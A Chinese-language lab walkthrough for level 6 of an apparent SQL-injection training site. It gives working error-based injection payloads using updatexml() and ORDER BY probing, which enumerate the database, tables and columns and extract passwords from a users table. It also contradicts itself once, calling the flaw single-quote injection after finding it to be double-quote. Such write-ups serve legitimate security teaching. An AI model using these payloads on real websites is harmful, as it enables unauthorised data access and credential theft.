打开第6关页面,提示给id赋值可查询出对应的数据。
1、判断注入点及注入类型
?id=1 页面正常
?id=1’ 页面正常
?id=1" 页面出现报错信息
基本确定为跟上一关不同,此关为双引号注入。
?id=1" and 1=1%23 页面正常
?id=1" and 1=2%23 页面异常
至此,说明注入点为id参数,且为字符型单引号注入。
2、判断字段数
跟第5关一样进行字段数的猜测
?id=1" order by 3%23 页面正常
?id=1" order by 4%23 页面报错
由此确定,字段数为3。
3、判断回显位置
有了第5关的经验,这一关直接采用报错注入的方式来确定回显位置,为什么要使用报错注入,可见第5关
4、爆数据库,版本,当前数据库用户等信息
?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)%23
数据库:security
版本:5.5.53
5、爆数据库中表名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)%23
得到数据库security中的表有:emails,referers,uagents,users。
6、查询指定表users中的列名
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)%23
users表中的列名有id,username,password。
7、查询users表中的数据
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)%23
注意回显数据超过一行,无法显示,需要使用limit函数,只读取一个。
这里使用其他报错注入函数进行注入也是OK的!
如使用extractvalue()函数
语法为:extractvalue(‘目标xml文件名’,‘在xml中查询的字符串’)